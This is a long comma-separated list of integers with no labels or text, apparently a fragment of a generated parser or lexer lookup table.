,0,0,1177,0,0,0,0,0,0,0,0,0,0,0,4086,528,528,528,528,0,270336,0,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5177344,278528,278528,0,0,131072,278528,0,0,0,0,278528,0,0,0,0,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,278528,0,278528,0,0,278528,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1205,1206,0,0,0,0,0,368,368,0,0,0,0,0,0,0,0,0,0,0,712,0,0,0,0,1,24578,3,0,0,4366336,0,0,0,0,0,302,638,0,0,0,0,1218,0,0,0,0,1223,0,0,0,0,0,0,0,1752,0,0,0,1755,0,0,1758,0,4268032,306,641,0,0,0,0,0,0,0,0,0,0,0,0,0,662,0,0,528,0,1430,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,0,3686,0,0,0,0,0,0,0,0,3826,0,3675,0,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,0,1525,0,0,0,0,0,3675,4004,0,0,0,0,0,0,0,528,528,4209,528,4210,528,528,528,528,528,1,24578,3,0,0,0,0,0,0,0,0,0,0,0,286720,303,0,307,286720,0,0,0,0,0,0,0,0,0,0,0,0,0,663,0,792,0,307,0,0,0,0,0,0,307,139264,287139,0,0,0,307,0,0,0,0,1234,0,0,0,0,0,0,0,0,0,0,0,2414,0,0,0,0,0,307,1,24578,3,0,0,4366336,0,0,0,0,0,302,66175,0,0,0,0,1250,0,0,0,1255,0,0,0,0,0,0,0,661,0,0,0,0,0,0,0,0,378,0,363,0,0,0,0,0,4268032,306,98946,0,0,0,0,0,0,0,0,0,0,0,0,0,728,0,0,0,0,122880,0,4268032,0,0,0,0,0,0,0,0,0,0,0,0,2310144,0,0,0,0,307,4857856,4874240,0,0,4923392,0,0,0,0,0,0,0,0,0,528,528,3699,528,528,528,528,1,24578,3,0,0,0,0,0,0,0,0,0,0,0,0,304,0,304,0,304,304,304,295216,304,304,304,295216,295216,304,295216,304,304,131072,304,304,304,304,304,295216,304,304,304,304,295216,304,304,304,304,295286,295216,295216,295216,295216,295216,295216,304,304,304,304,304,0,0,304,304,295216,304,304,304,304,304,304,304,304,304,304,304,304,369,304,0,295216,304,295286,295216,295216,295216,304,304,304,295286,139264,147456,295216,295216,304,304,295216,295216,295216,304,304,304,304,304,304,304,304,304,304,304,304,304,304,304,304,295216,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295286,295216,295216,295216,295216,295216,304,304,304,295216,304,304,304,304,304,304,304,295216,374,304,304,304,304,304,304,304,295216,304,295216,295216,295216,295216,295216,295216,295216,295216,295286,295286,295286,295286,295286,295286,295216,295216,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1267,0,0,0,0,0,0,0,0,0,0,0,3170,0,0,0,0,0,0,0,6275072,0,0,0,0,0,0,0,4399804,4399804,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4399804,0,0,319488,0,0,0,0,0,0,319488,319488,0,0,0,0,0,0,0,3696,0,528,528,528,528,528,528,528,528,528,528,528,3849,528,528,528,319488,0,0,0,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,319488,0,24578,3,0,0,4366336,253952,0,0,0,0,302,303,0,0,0,0,1282,0,0,0,0,0,0,0,0,0,0,0,1241,0,0,0,0,368,425984,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4399805,0,0,0,6275072,0,0,0,0,0,0,0,368,0,0,0,0,0,0,2357,0,0,0,0,0,0,0,0,0,3461,0,0,0,0,0,0,0,327680,327680,327680,0,0,0,0,0,0,0,0,0,0,327680,327680,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,327680,327680,327680,327680,327680,335872,327680,327680,327680,335872,327680,327680,327680,327680,327680,327680,49723,0,0,0,0,0,0,0,49723,49723,0,0,0,0,0,0,0,1270,0,0,0,0,0,0,0,0,0,5627904,5652480,0,5701632,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,49152,990,0,0,0,0,0,3683,0,0,0,0,0,0,0,3690,0,0,0,0,0,3836,0,0,0,0,0,0,0,0,0,0,5242880,0,0,0,0,0,0,0,5341184,0,0,0,0,0,344064,344064,344064,0,0,0,0,0,0,0,0,0,0,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,344064,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,352256,352256,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1309,0,0,0,0,0,0,0,0,1315,0,0,0,0,371,0,0,0,0,0,0,0,0,0,0,0,3438,0,0,3440,0,1,292,3,0,0,0,298,0,0,0,0,0,0,0,0,0,528,3698,528,528,528,3701,528,0,360448,360448,360448,0,0,0,0,0,0,0,0,0,0,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,360448,1,0,3,155942,155942,296,0,636,0,0,0,302,303,0,1230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,368,528,528,1376,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2460,528,0,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60322,57943,57943,57943,57943,59004,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,57893,3998,0,4e3,528,528,528,528,58773,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,528,528,528,2437,528,528,528,528,528,528,528,528,528,528,528,528,528,2446,528,2448,0,0,0,57893,57893,57893,57893,57893,57893,57893,59856,57893,57893,57893,57893,57893,57893,60873,57893,57893,57893,57893,57893,57893,57893,57893,57893,61213,57893,57893,57893,57893,61214,61215,57893,57893,57893,57893,60300,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,0,0,0,60432,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,0,0,0,3191,0,0,0,0,0,0,0,0,0,0,0,0,319,0,0,0,0,0,0,3682,0,0,0,0,0,0,0,0,0,0,0,0,338,0,0,0,528,57893,61069,57893,57893,57893,61072,57893,57893,57893,57893,57893,57893,57893,57893,57893,58331,0,57916,57916,57916,57916,57916,61080,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59358,61101,57916,57916,57916,57916,57916,57916,57916,57916,57916,61109,57916,57916,57916,57916,57916,57916,60360,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,60707,57943,57943,57943,57943,57943,57943,57943,57943,57943,61138,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59568,57943,57943,57943,528,528,3852,3853,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,58291,57893,57893,57943,57943,57943,61251,57943,57943,57943,57943,61252,61253,57943,57943,57943,57943,57943,57943,57943,58468,57943,57943,57943,57943,528,528,528,898,0,0,3675,0,0,3929,0,0,0,0,0,0,0,0,0,0,695,0,0,0,0,368,528,528,57893,57893,57893,57893,57893,57893,61299,57893,57893,57893,57893,57893,57893,61305,57893,57893,57893,61309,57893,57916,57916,57916,57916,57916,57916,61315,57916,57916,57916,57916,57916,57943,57943,61128,57943,57943,57943,57943,57943,57943,57943,57943,57943,60066,57943,57943,57943,57943,57943,57943,57916,57916,61321,57916,57916,57916,61325,57916,57943,57943,57943,57943,57943,57943,61331,57943,528,1951,528,2283,528,57893,59394,57893,59632,57893,2290,0,2291,0,0,0,0,0,417792,0,417792,0,0,0,0,310,0,0,0,0,0,316,0,0,0,0,0,0,0,0,0,0,1328,0,0,0,0,0,528,528,57893,57893,57893,57893,61511,57893,57893,57893,57893,57893,57893,57893,57893,57893,58826,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,61524,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,60024,57943,60026,57943,57943,57943,57943,57943,61537,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,4244,528,528,528,57893,57893,57893,57893,57916,57916,57916,57916,57943,57943,57943,57943,0,0,0,0,1310,0,0,0,0,0,0,0,0,0,1316,1269,0,528,528,57893,57893,57916,57916,57943,57943,0,528,57893,57916,57943,0,528,57893,57916,57943,0,528,57893,57916,57943,0,0,0,0,376832,376832,376832,0,0,0,0,0,0,0,0,0,0,0,0,346,0,0,0,0,420,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1731,0,0,0,0,0,0,0,0,0,0,0,648,0,0,0,0,0,0,0,0,4268780,0,0,0,0,0,0,0,0,0,0,0,0,6119424,0,6168576,0,0,0,0,308,0,0,0,0,0,0,0,0,0,0,0,0,354,355,356,0,0,393685,393685,393685,0,0,0,0,0,0,0,0,0,0,0,0,368,0,0,245760,0,0,475136,0,0,0,0,0,0,0,0,0,0,0,0,0,761,0,0,305,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,411,0,421,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,1731,0,0,0,0,1738,0,1740,0,0,0,0,0,0,3180,0,0,0,0,0,0,0,0,0,352256,0,352256,352256,0,0,0,305,306,307,0,0,0,0,0,0,0,0,0,0,0,0,0,1185,0,0,0,0,0,748,421,0,0,0,0,0,0,0,0,0,0,0,337,0,0,0,0,57916,0,0,0,748,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,3413,57893,57893,60760,1725,0,0,0,1731,1732,0,0,0,0,0,0,0,0,0,0,741,0,0,0,0,0,0,0,0,1252,1825,0,0,0,0,1259,1259,0,0,0,0,0,0,0,4083,0,4085,0,528,528,528,528,528,528,528,528,528,528,3848,528,528,528,528,0,0,2293,1732,2294,0,0,0,0,0,0,0,0,0,0,0,368,368,1212,0,0,528,528,2499,2932,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59860,528,528,528,2932,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,2592,0,0,417792,0,0,0,0,417792,0,0,0,0,0,310,0,310,0,0,0,0,0,4151,4152,4153,528,528,528,4156,528,4158,528,528,0,0,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,60283,417792,417792,0,0,417792,417792,417792,417792,417792,417792,417792,417792,417792,417792,417792,417792,418102,417792,417792,418101,418102,417792,417792,418101,417792,418101,417792,0,417792,0,0,0,0,417792,0,0,0,0,0,0,0,0,0,0,0,310,310,310,0,418101,417792,1,24578,3,0,0,4366971,0,0,0,0,0,302,303,311296,4399805,0,0,0,311296,0,0,0,0,0,0,0,0,0,0,800,0,0,0,0,0,0,0,0,4268032,306,307,0,434176,0,0,0,0,0,0,0,0,0,0,0,381,0,384,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,4399805,0,0,0,0,0,363,0,0,0,0,0,0,368,0,296,0,0,914,913,913,913,913,913,4858769,4875153,913,913,913,913,913,913,913,913,913,5628817,5653393,913,5702545,913,913,913,913,5448593,913,5464977,913,5481361,5563281,913,913,913,5637009,913,5686161,913,913,5751697,913,6275985,913,913,913,913,913,913,913,913,913,0,0,990,989,989,989,989,6087645,4817809,4359057,4359057,4359057,4359057,6087569,0,5087232,0,5931008,4358144,989,989,5260253,989,989,989,989,989,989,989,989,5415901,989,5448669,989,5465053,989,5481437,5563357,989,989,989,5637085,989,5686237,989,989,5751773,989,989,989,989,989,989,6300637,989,989,989,989,989,989,989,989,989,989,5112797,989,989,989,989,989,989,5874653,989,989,989,989,989,989,989,989,989,989,989,6276061,989,989,989,4858845,4875229,989,989,989,989,989,989,989,989,989,989,989,989,989,5178333,989,989,4359057,5637009,4359057,5686161,4359057,4359057,5751697,4359057,4359057,4359057,4359057,4359057,5874577,4359057,4359057,4359057,4359057,5186449,4359057,5235601,5301137,4359057,4359057,5407633,5530513,4359057,4359057,4359057,4359057,4359057,6300561,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5112721,4359057,4359057,4359057,4359057,989,989,5809041,4359057,4359057,4359057,4826001,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5178257,4359057,4359057,4359057,4359057,4359057,5243793,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5342097,4359057,4359057,4359057,4359057,4359057,4359057,5415825,4359057,5448593,4359057,5464977,4359057,5481361,5563281,4359057,4359057,0,0,0,913,913,913,913,913,913,913,913,913,913,913,4932497,4940689,913,913,6464401,0,0,0,0,989,989,989,989,989,989,989,989,989,4998109,989,989,5039069,989,989,989,5096413,989,5456861,989,989,989,989,989,5555165,5571549,5579741,5620701,5669853,989,989,989,5792733,5817309,989,5858269,989,989,989,989,989,989,989,989,989,989,989,989,989,989,989,989,4359057,4359057,4359057,6120413,989,6169565,989,989,989,989,989,6243293,989,6292445,989,6317021,989,989,989,989,989,5071837,989,989,989,989,989,989,989,5219293,989,5268445,4359057,4359057,4932497,4940689,4359057,4359057,4359057,4359057,4359057,4359057,5055377,4359057,4359057,4359057,4359057,4359057,4359057,6054801,4359057,4359057,4359057,0,0,0,0,5193728,0,4359057,5456785,4359057,4359057,4359057,4359057,4359057,5555089,5571473,5579665,5620625,5669777,4359057,4359057,4359057,5792657,5817233,4359057,5858193,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,0,5013504,0,6120337,4359057,6169489,4359057,4359057,4359057,4359057,4359057,6243217,4359057,6292369,4359057,6316945,4359057,4359057,4359057,5194641,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4907008,0,5079040,6094848,6430720,6438912,0,0,0,0,0,0,4785041,913,913,913,4850577,913,913,913,913,913,913,5055377,913,913,913,913,913,913,913,913,5211025,5489553,913,913,913,913,913,913,913,913,913,5800849,913,913,5882769,913,913,913,913,5219217,913,5268369,913,913,5309329,5317521,913,913,913,5432209,913,913,913,6333329,913,913,913,6390673,913,913,6431633,6439825,0,0,0,0,0,0,0,393685,0,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,393685,0,393685,0,4785117,989,989,989,4850653,989,989,989,989,989,4916189,989,4957149,4973533,989,989,989,6030301,989,989,989,989,6161373,989,989,989,989,989,989,989,6325213,4359057,4359057,5006225,4359057,4359057,4359057,5120913,5137297,989,989,5309405,5317597,989,989,989,5432285,989,5489629,989,989,989,989,989,989,5325789,5374941,5538781,5546973,5587933,5735389,5972957,989,6046685,989,6104029,989,989,989,6185949,989,989,989,6284253,989,989,6333405,989,989,989,6390749,989,989,6431709,6439901,4785041,4359057,4359057,4359057,4850577,4359057,4359057,4359057,4359057,4359057,4916113,4359057,4358144,4358144,4358144,4358144,4358144,913,913,913,913,913,0,0,0,0,0,0,0,319488,0,0,0,0,0,0,0,0,0,0,319488,0,4957073,4973457,4359057,4359057,4359057,4359057,4359057,4359057,5071761,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,6275985,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5219217,4359057,5268369,4359057,4359057,5309329,5317521,4359057,4359057,4359057,5432209,4359057,5489553,4359057,4359057,4359057,5211025,4359057,4359057,4359057,4359057,5292945,4359057,4359057,4359057,4359057,5366673,4359057,4359057,4359057,4359057,6390673,4359057,4359057,6431633,6439825,4358144,4358144,4358144,6266880,6488064,913,913,913,6267793,6488977,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,730,4358144,4358144,4358144,0,0,913,913,4842385,913,913,913,4899729,913,913,913,913,913,913,913,6103953,913,913,913,6185873,913,913,913,6284177,913,913,5473169,5522321,913,913,913,913,5596049,5710737,5718929,913,5825425,5866385,913,913,913,913,5243793,913,913,913,913,913,913,913,5342097,913,913,913,0,0,989,989,989,4826077,989,989,989,989,989,989,989,0,913,4359057,4359057,4359057,4359057,4359057,4858769,4875153,5923729,913,913,6022033,913,6038417,913,913,6079377,6112145,913,6177681,6210449,913,6235025,913,913,913,913,6243217,913,6292369,913,6316945,913,913,913,913,913,913,913,4998033,913,913,5038993,913,913,913,5096337,5104529,5284829,989,989,989,989,5473245,5522397,989,989,989,989,5596125,5710813,5719005,989,5825501,5866461,989,989,5923805,989,989,6022109,989,6038493,989,989,6079453,6112221,989,6177757,6210525,989,6235101,989,989,989,989,989,989,989,4359057,4359057,4842385,4359057,4359057,4359057,4899729,4359057,5284753,4359057,4359057,4359057,4359057,5473169,5522321,4359057,4359057,4359057,4359057,5596049,5710737,5718929,4359057,4359057,4359057,6103953,4359057,4359057,4359057,6185873,4359057,4359057,4359057,6284177,4359057,4359057,6333329,4359057,4359057,4923392,4358144,4358144,4358144,4358144,4358144,913,4924305,913,913,913,913,4366336,0,0,0,0,1779,0,0,0,0,0,0,0,0,0,0,0,3156,0,3157,0,0,5825425,5866385,4359057,4359057,5923729,4359057,4359057,6022033,4359057,6038417,4359057,4359057,6079377,6112145,4359057,6177681,6210449,4359057,6235025,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4358144,4358144,4358144,913,913,913,913,913,5194641,913,913,913,913,913,913,913,913,913,913,988,989,989,989,989,989,4358144,4358144,6029312,4358144,4358144,4358144,4358144,6160384,4358144,4358144,4358144,4358144,4358144,4358144,6406144,913,913,913,913,6325137,989,989,5006301,989,989,989,5120989,5137373,989,989,989,989,989,6226909,4359057,5063569,4359057,4359057,4359057,4359057,4359057,6226833,0,6086656,913,913,5202833,913,913,913,913,913,913,913,913,913,913,913,5890961,913,913,913,5555089,5571473,5579665,5620625,5669777,913,913,913,5792657,5817233,913,5858193,913,913,913,913,5292945,913,913,913,913,5366673,913,913,913,5456785,913,913,913,913,913,6308753,913,913,6357905,6382481,6398865,4801501,4809693,989,989,4891613,913,913,6030225,913,913,913,913,6161297,913,913,913,913,913,913,913,6407057,5104605,989,989,5202909,989,989,989,989,989,989,989,989,989,989,989,5891037,6407133,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4998033,4359057,4359057,5038993,4359057,4359057,4359057,5325713,5374865,5538705,5546897,5587857,5735313,5972881,4359057,6046609,4359057,6071185,4359057,4359057,5096337,5104529,4359057,4359057,5202833,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4358144,4358144,4358144,4358144,5890961,4359057,4359057,4359057,6030225,4359057,4359057,4359057,4359057,6161297,4359057,4359057,4359057,4359057,4359057,4359057,5800849,4359057,4359057,5882769,4359057,4359057,4359057,4359057,4359057,4359057,5628817,5653393,4359057,5702545,4359057,4359057,5809041,4359057,4359057,4359057,4359057,6407057,4358144,4358144,4358144,913,913,913,4890624,0,0,0,0,0,0,0,0,327680,0,0,0,0,0,0,0,0,319488,0,0,0,0,319488,0,319488,6397952,4801425,4809617,913,913,4891537,913,4948881,913,913,913,5047185,913,913,913,913,913,913,913,6300561,913,913,913,913,913,913,913,913,913,913,913,913,6120337,913,6169489,913,5186449,913,5235601,5301137,913,913,5407633,5530513,913,913,913,913,5899153,913,913,913,913,913,913,6054801,913,913,913,989,989,5014493,989,989,989,989,989,5194717,989,989,989,989,989,989,989,989,4359057,4359057,989,4948957,989,989,989,5047261,989,989,989,989,5186525,989,5235677,5301213,989,989,989,5211101,989,989,989,989,5293021,989,989,989,989,5366749,989,989,989,5243869,989,989,989,989,989,989,989,5342173,989,989,989,989,989,989,6464477,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,6325137,5914624,5915537,0,0,0,5407709,5530589,989,989,989,989,5899229,989,989,989,989,989,989,989,989,6308829,989,989,6357981,6382557,6398941,4801425,4809617,4359057,4359057,4891537,4359057,4948881,4359057,4359057,4359057,5047185,5899153,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,6308753,4359057,4359057,6357905,6382481,6398865,5021696,4358144,4358144,5022609,913,913,0,4980736,0,0,0,0,0,5373952,5734400,6045696,0,0,0,0,1792,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114688,0,5537792,5545984,5734400,5971968,4358144,6045696,4358144,6070272,4358144,4358144,4358144,6348800,913,4866961,4883345,913,913,4916113,913,4957073,4973457,913,913,913,913,913,913,5071761,913,913,913,913,913,913,5260177,913,913,913,913,913,913,913,913,5415825,4981649,913,913,913,913,913,913,913,913,5325713,5374865,5538705,5546897,5587857,5735313,5972881,913,6046609,913,6071185,913,913,913,913,6349713,989,4867037,4883421,989,4981725,989,989,989,5800925,989,989,5882845,989,989,989,989,989,989,989,989,989,5628893,5653469,989,5702621,989,989,989,989,6071261,989,989,989,989,6349789,4359057,4866961,4883345,4359057,4981649,4359057,4359057,4359057,4359057,4359057,4359057,6464401,4358144,4358144,4358144,4358144,4358144,913,913,913,913,913,913,913,913,913,913,913,913,913,913,913,913,5178257,913,4359057,4359057,6349713,4358144,6144e3,913,6144913,0,4988928,5005312,0,0,0,0,5775360,0,0,0,0,1795,0,0,1798,0,1800,0,0,0,0,0,1806,4358144,6324224,913,913,5006225,913,913,913,5120913,5137297,913,913,913,913,913,913,913,5112721,913,913,913,913,913,5284753,913,913,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6053888,4358144,4358144,913,913,5014417,913,913,913,913,913,5874577,913,913,913,913,913,913,913,913,913,913,913,913,913,989,989,989,4358144,6094848,913,4907921,913,5079953,913,5227409,913,5743505,913,913,913,6095761,913,989,989,4932573,4940765,989,989,989,989,989,989,5055453,989,989,989,989,989,989,6054877,989,989,989,4359057,4359057,5014417,4359057,4359057,4359057,4907997,989,5080029,989,5227485,989,5743581,989,989,989,6095837,989,4359057,4907921,4359057,5079953,4359057,5227409,4359057,5743505,4359057,4359057,4359057,6095761,4359057,5062656,0,0,0,0,0,4358144,4358144,0,913,913,913,913,913,913,0,0,0,0,0,0,0,0,4956160,4964352,0,0,0,0,0,0,0,0,4816896,4358144,4358144,4358144,4358144,6086656,4817809,913,913,913,913,6087569,4817885,5332992,5980160,4358144,913,5333905,5981073,913,989,5333981,5981149,989,4359057,5333905,5981073,4359057,0,0,0,0,1811,0,0,0,0,0,0,0,0,0,1820,0,0,0,0,1825,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,528,5439488,5128192,4358144,5129105,913,5129181,989,5129105,4359057,0,4358144,913,989,4359057,0,4358144,913,989,4359057,6004736,6004736,6005649,6005725,6005649,0,0,0,450560,450560,0,0,0,0,0,0,0,0,0,0,0,0,0,0,375,0,450560,450560,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1876,1877,0,0,0,0,0,0,0,0,0,0,1867,0,0,1870,0,0,0,0,0,196608,0,0,0,106496,0,0,4284416,0,0,0,0,0,0,0,417792,0,0,417792,0,0,417792,0,417792,0,0,0,0,139264,147456,417792,0,0,0,417792,196608,0,0,5816320,6291456,0,0,0,0,0,0,0,0,0,0,0,400,0,0,0,0,0,0,0,0,0,0,303,0,0,307,0,0,0,4956160,4964352,0,0,0,0,0,0,0,466944,0,0,0,0,0,0,0,0,0,5480448,0,0,0,0,0,0,6430720,6438912,914,0,0,0,914,0,4784128,0,0,0,4849664,0,0,0,0,0,648,0,0,0,0,0,0,818,0,0,0,0,0,658,659,0,0,0,0,0,0,0,0,0,1272,0,0,0,0,0,0,0,0,6332416,0,0,0,6389760,0,0,6430720,6438912,990,0,0,0,990,4358144,4358144,4358144,914,0,0,0,4841472,0,0,0,4898816,0,0,0,0,0,0,2383,0,0,0,0,0,0,0,0,0,2825,0,0,0,0,0,0,0,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459222,459379,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1887,0,1889,1865,528,528,528,528,528,528,528,528,3516,528,528,3519,528,528,528,60866,4358144,4358144,483328,0,0,0,0,0,0,0,0,0,0,0,0,0,1243,0,0,1,24578,3,0,0,0,0,507904,0,0,0,507904,0,0,0,0,0,0,2398,0,0,0,0,0,0,0,0,0,49723,0,0,0,0,0,327680,0,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,507904,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2084,0,0,0,4825088,0,0,0,0,0,0,0,0,3423,0,0,0,0,0,0,0,0,3460,0,0,0,0,0,3465,0,4268032,306,307,0,0,442368,0,0,0,0,0,0,0,0,0,0,1168,1167,0,0,0,0,0,0,0,229376,0,491520,524288,0,0,0,0,0,0,0,0,0,678,0,0,0,0,0,0,4358144,4358144,491520,0,0,0,0,0,0,0,0,0,0,0,0,0,1275,0,1277,1,24578,3,0,0,0,0,0,516096,0,0,0,516096,0,0,0,0,0,0,0,0,0,0,0,0,368,0,296,0,0,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,516567,1,24578,0,0,0,4366336,0,0,548864,0,0,302,303,0,0,0,0,2306,0,0,0,0,0,0,0,0,0,0,0,0,5627904,0,0,0,4268032,306,307,409600,0,0,0,0,0,0,0,0,0,0,0,0,368,0,308,0,0,0,5513216,5783552,0,40960,0,0,0,0,0,0,0,0,4358144,4358144,4358144,4358144,4358144,5193728,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4907008,0,5079040,6094848,1,24578,4227365,0,0,0,0,0,0,299,0,0,0,299,0,0,0,0,0,245760,0,245760,245760,0,0,0,245760,245760,0,0,0,0,0,0,245760,0,0,0,245760,0,0,245760,245760,245760,0,0,540672,0,0,540672,0,0,0,540672,0,0,0,0,0,0,0,540672,0,0,0,0,0,0,0,0,417792,0,0,0,417792,0,0,0,0,0,1,24578,4227365,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2328,0,0,0,0,2332,0,0,0,0,0,0,0,1879,0,0,0,0,0,0,0,0,768,0,0,771,0,0,0,0,0,0,499712,0,0,0,0,0,0,0,0,0,0,0,0,0,1291,0,0,0,0,499712,0,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5111808,4358144,4358144,4358144,4358144,4358144,5283840,4358144,4358144,4358144,4358144,4358144,499712,0,0,0,0,0,0,0,0,0,0,0,0,0,1314,0,0,0,0,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2355,0,0,0,0,0,0,0,0,0,0,0,1882,0,0,0,0,1,24578,3,155942,296,0,0,0,0,0,0,0,0,0,0,0,528,4087,528,4088,528,528,57893,528,57893,528,528,57893,528,528,57916,57893,528,528,57893,57893,57893,0,0,0,0,0,0,3821,0,0,0,0,57916,57893,57893,57893,57893,57893,57893,57893,57916,57916,57893,57893,57943,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61529,57916,57916,57916,57943,57943,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60631,0,0,2293,0,2294,0,0,0,0,0,0,0,0,0,0,0,664,0,0,0,0,3453,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,744,1825,0,0,0,0,0,0,0,0,0,0,0,2373,0,0,0,0,0,674,0,0,0,0,0,0,0,0,0,0,1182,0,0,0,0,0,0,0,1280,0,0,0,0,0,0,0,0,0,0,0,0,0,1788,0,0,528,57894,528,57894,528,528,57894,528,528,57917,57894,528,528,57894,57894,57894,57894,57944,57944,57894,57894,57894,57894,57944,57944,57894,528,57894,57894,57917,57894,57894,57894,57894,57894,57894,57894,57917,57917,57894,57894,57944,57894,57894,57894,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,1,24578,3,155943,296,0,0,0,0,0,0,0,0,0,0,0,740,661,0,0,528,0,573440,573440,573440,0,0,0,0,0,0,0,0,0,0,0,0,368,0,516096,0,0,0,5988352,0,0,6135808,6307840,0,5996544,4800512,0,6356992,3675,0,0,0,0,0,694,0,0,0,787,0,0,0,0,806,0,0,0,1,24578,3,0,0,4366336,0,0,0,0,0,637,303,0,0,0,0,2381,0,0,0,0,0,0,0,0,0,0,0,344064,0,0,0,0,4268032,640,307,0,0,0,0,0,0,0,0,0,0,0,0,0,1804,0,0,581632,0,0,0,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,581632,0,581632,0,0,0,0,0,0,0,0,0,0,0,581632,0,581632,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,746,581632,581632,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,2397,0,0,0,0,0,0,0,0,0,0,0,1225,0,0,0,0,6258688,6447104,0,0,6127616,0,6348800,5906432,0,5537792,3827,4882432,0,0,0,0,0,0,2784,0,0,0,0,0,0,0,0,0,139264,147456,0,0,0,420,0,0,0,3926,0,0,0,0,0,0,5693440,0,6496256,5144576,5136384,0,5914624,0,0,5513216,5783552,0,3926,0,0,0,0,0,0,0,0,4358144,4358144,0,0,0,0,0,0,0,0,0,0,302,0,0,306,0,0,0,0,0,0,306,237983,147456,0,0,0,306,0,0,311,312,0,0,0,0,0,0,0,0,0,0,0,0,0,1819,0,0,312,0,311,311,312,0,0,0,0,0,0,0,0,0,0,0,311,409,312,0,458,472,472,472,485,485,485,485,485,485,485,485,485,506,485,485,485,485,485,524,485,485,485,524,485,485,485,485,485,485,529,57895,529,57895,529,529,57895,529,529,57918,57895,529,529,57895,57895,57895,57895,57945,57945,57895,57895,57895,57895,57945,57945,57895,529,57895,57895,57918,57895,57895,57895,57895,57895,57895,57895,57918,57918,57895,57895,57945,57895,57895,57895,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,306,307,0,0,0,0,0,645,0,0,648,649,0,0,0,0,0,736,0,0,0,